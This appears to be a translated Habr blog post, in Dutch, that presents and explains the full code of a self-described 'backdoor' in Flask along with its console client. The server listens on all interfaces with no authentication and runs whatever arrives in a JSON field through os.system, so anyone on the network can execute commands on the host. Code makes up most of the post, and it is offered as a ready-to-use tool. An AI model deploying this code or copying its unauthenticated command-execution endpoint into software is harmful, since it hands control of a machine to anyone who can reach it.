Een kleine achterdeur op Flask of hoe je een computer op een lokaal netwerk bestuurt

Hé Habr!

Ik heb onlangs een gedownloade versie bekeken van de programmeerstream ‘Hoe maak je je eigen webapplicatie in Flask’. En ik besloot mijn kennis in een project te consolideren. Ik wist lange tijd niet wat ik moest schrijven en het idee kwam bij me op: "Waarom maak je geen mini-achterdeur in Flask?"

De eerste opties voor implementaties en mogelijkheden van de achterdeur verschenen meteen in mijn hoofd. Maar ik besloot meteen een lijst met achterdeurmogelijkheden te maken:

  1. Weet hoe u websites moet openen
  2. Zorg voor opdrachtregeltoegang
  3. Programma's, foto's en video's kunnen openen

Het eerste punt is dus uiterst eenvoudig te implementeren met behulp van de webbrowsermodule. Ik besloot het tweede punt te implementeren met behulp van de os-module. En de derde is ook via de os-module, maar ik zal “links” gebruiken (daarover later meer).

Een server schrijven

Dus *tromgeroffel* alle servercode:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Ik heb alle code al gedumpt, het is tijd om de essentie uit te leggen.

Alle code draait op de lokale computer op poort 5000. Om met de server te communiceren, moeten we een JSON POST-verzoek verzenden.

JSON-verzoekstructuur:

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

Welnu, het is logisch dat 'commando' het commando is dat we willen uitvoeren. En 'data' zijn de opdrachtargumenten.

U kunt JSON-verzoeken schrijven en verzenden om handmatig met de server te communiceren (verzoeken zullen u helpen). Of u kunt een consoleclient schrijven.

Een klant schrijven

Code:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда не содержит аргументов!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда не содержит аргументов!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Uitleg:

Allereerst wordt de aanvraagmodule geïmporteerd (voor interactie met de server). Hieronder vindt u beschrijvingen van de start- en testfuncties. En dan de cyclus waarin de magie plaatsvindt. Heb je de code gelezen? Dus je begrijpt de betekenis van de magie die in de cyclus plaatsvindt. Voer de opdracht in - deze wordt uitgevoerd. Shell – opdrachten voor de opdrachtregel (de logica is niet op schaal).

Test – controleer of de server draait (backdoor)
Link – gebruik van een “snelkoppeling”
Openweb – een website openen
Afsluiten – de client verlaten
Instellen – het IP-adres van uw computer instellen op het lokale netwerk

En nu meer over de koppeling.

Er staat een link.txt-bestand naast de server. Het bevat links (volledig pad) naar bestanden (video's, foto's, programma's).

De structuur is als volgt:

полный_путь>описание
полный_путь>описание

Totaal

We hebben een backdoor-server voor het besturen van een computer op een lokaal netwerk (binnen een wifi-netwerk). Technisch gezien kunnen we de client uitvoeren vanaf elk apparaat dat een Python-interpreter heeft.

PS Ik heb het set-commando toegevoegd zodat als een computer op het lokale netwerk een ander IP-adres krijgt toegewezen, dit rechtstreeks in de client kan worden gewijzigd.

Bron: www.habr.com

Voeg een reactie